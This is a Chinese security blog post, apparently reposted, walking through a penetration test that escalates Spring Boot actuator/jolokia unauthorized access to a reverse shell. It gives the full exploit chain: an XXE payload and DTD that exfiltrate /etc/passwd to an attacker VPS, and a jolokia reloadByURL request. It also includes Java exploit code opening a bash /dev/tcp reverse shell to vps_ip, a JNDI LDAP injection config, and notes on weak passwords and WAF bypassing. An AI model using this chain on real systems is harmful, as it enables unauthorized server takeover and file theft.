记一次挖洞springboot未授权到反弹shell|挖洞技巧

admin 2024年10月14日08:23:36评论41 views字数 2325阅读7分45秒阅读模式

0x01 前言

      记一次挖洞springboot未授权到反弹shell。起初,尝试了常见的弱口令爆破未果,接着通过分析系统的URL结构,发现了Spring Boot未授权访问的漏洞。在进一步测试后,发现了开放的actuator和jolokia端点,尝试利用XXE和远程代码执行漏洞成功读取系统的文件,并最终通过反弹shell获取了控制权限。

末尾可领取挖洞资料文件

0x02 漏洞发现

拿到授权的目标系统后,进入到一个登录页面。

先拿出admin/123456,admin/admin等弱口令尝试一下,那结果是今天没那么幸运

记一次挖洞springboot未授权到反弹shell|挖洞技巧

没有注册页面,想抓个包爆破下账户密码,看到这加密我放弃了

记一次挖洞springboot未授权到反弹shell|挖洞技巧

返回登录页面继续搜寻,看着一长串的url,中间部分让我突然感觉一阵熟悉,想到了spring boot未授权访问,刚好最近测过类似的站,尝试下。

记一次挖洞springboot未授权到反弹shell|挖洞技巧

拿出springboot漏洞检查小工具扫描,最终,在https://目标域名/acloud-oauth/下扫描出结果,页面显示actuator和jolokia等路由信息开放。

记一次挖洞springboot未授权到反弹shell|挖洞技巧

显示开启了jolokia端点且存在reloadByURL方法,那就准备开心的进行jolokia的xxe和远程代码执行漏洞利用。

构建一个xml文件:

<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://vps_ip/fileread.dtd">%remote;%int;]><a>&trick;</a>

构建一个dtd文件,来读取目标系统的/etc/passwd文件内容:

<!ENTITY % d SYSTEM "file:///etc/passwd"><!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">

利用python开启一个简单http服务,用于调用vps上的xml和dtd文件

python3 -m http.server 80

构造访问链接:

https://目标域名/acloud-oauth/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps_ip!/gouzao.xml

复制构造的链接,放入浏览器进行访问,这页面,我瞬间脸都绿了,有waf给拦了,尝试绕一绕,折腾了半天,太菜了,还是给拦住了。

记一次挖洞springboot未授权到反弹shell|挖洞技巧

再次返回登录页面,翻翻js看看有没有啥其他收获呢,在末尾,发现3个子域名,为啥开始搜索引擎和工具都没扫出来这几个域名呀,看来这信息收集还是不到位。

记一次挖洞springboot未授权到反弹shell|挖洞技巧

访问下,返回401

记一次挖洞springboot未授权到反弹shell|挖洞技巧

通过扫描,也发现一些springboot actuator的路由信息。

记一次挖洞springboot未授权到反弹shell|挖洞技巧

再次尝试利用xxe漏洞,很幸运,没拦截,看来没waf,成功读取到系统的/etc/passwd文件内容。

记一次挖洞springboot未授权到反弹shell|挖洞技巧

接下来,利用代码执行漏洞进行反弹shell,构造exp,进行编译:

import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/vps_ip/12345;cat <&5 | while read line; do $line2>&5 >&5; done"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(newInputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { }}

构造一个xml文件:

<configuration> <insertFromJNDI env-entry-name="ldap://vps_ip:1389/JNDIObject"as="appName" /></configuration> 

在vps上利用python启用一个http服务,将xml文件和exp文件放在该目录:

记一次挖洞springboot未授权到反弹shell|挖洞技巧

利用 marshalsec-0.0.3-SNAPSHOT-all.jar 启动一个 ldap 服务:

记一次挖洞springboot未授权到反弹shell|挖洞技巧

在vps上监听端口

记一次挖洞springboot未授权到反弹shell|挖洞技巧

构造访问的链接:

https://目标系统子域名/acloud-oauth/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps_ip!/exp.xml

获得反弹shell

记一次挖洞springboot未授权到反弹shell|挖洞技巧

0x03 最后

测试时一定要多尝试弱口令,利用未授权访问、XXE和远程代码执行漏洞,遇到WAF要多绕绕,信息收集一定要全面。喜欢的师傅可以点赞转发支持一下谢谢!

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月14日08:23:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次挖洞springboot未授权到反弹shell|挖洞技巧https://cn-sec.com/archives/3263651.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息